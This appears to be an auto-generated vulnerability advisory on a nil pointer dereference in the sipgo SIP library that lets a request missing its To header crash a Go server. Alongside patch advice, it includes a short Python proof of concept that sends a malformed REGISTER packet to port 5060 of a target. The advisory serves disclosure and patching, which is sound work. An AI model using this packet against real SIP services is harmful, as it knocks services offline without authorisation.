Listen to this Post
The vulnerability exploits a missing nil check in the SIPGO library’s `NewResponseFromRequest` function. SIP request parsing succeeds even when a mandatory `To` header is absent. The function copies headers from the request to a new response object. Since no `To` header exists in the request, it is not initialized in the response. However, the code at line 242 of `response.go` unconditionally calls `res.To().Params[“tag”]` to generate a tag parameter. The `res.To()` method returns `nil` when the header doesn’t exist, leading to a direct dereference (nil.Params) which causes a segmentation fault and immediate crash of the entire Go application. This is triggered during normal SIP processing, such as handling a REGISTER request, allowing a single malformed packet to cause a denial of service.
Platform: sipgo library
Version: < v1.10.3
Vulnerability: Nil Pointer Dereference
Severity: Critical
date: 2023-10-09
Prediction: 2023-10-23
What Undercode Say:
$ go test -v -run TestNewResponseFromRequest
$ grep -n "res.To()" sip/response.go
242
$ cat > exploit.py << 'EOF'
!/usr/bin/env python3
import socket
sip_message = ("REGISTER sip:target SIP/2.0\r\n"
"From: <sip:attacker>;tag=123\r\n"
"\r\n")
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(sip_message.encode(), ('target_ip', 5060))
EOF
How Exploit:
Send malformed SIP request.
Missing To header.
Crashes application.
Protection from this CVE
Update to v1.10.3.
Add nil check.
Input validation.
Impact:
DoS via crash.
Remote exploitation.
No auth required.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
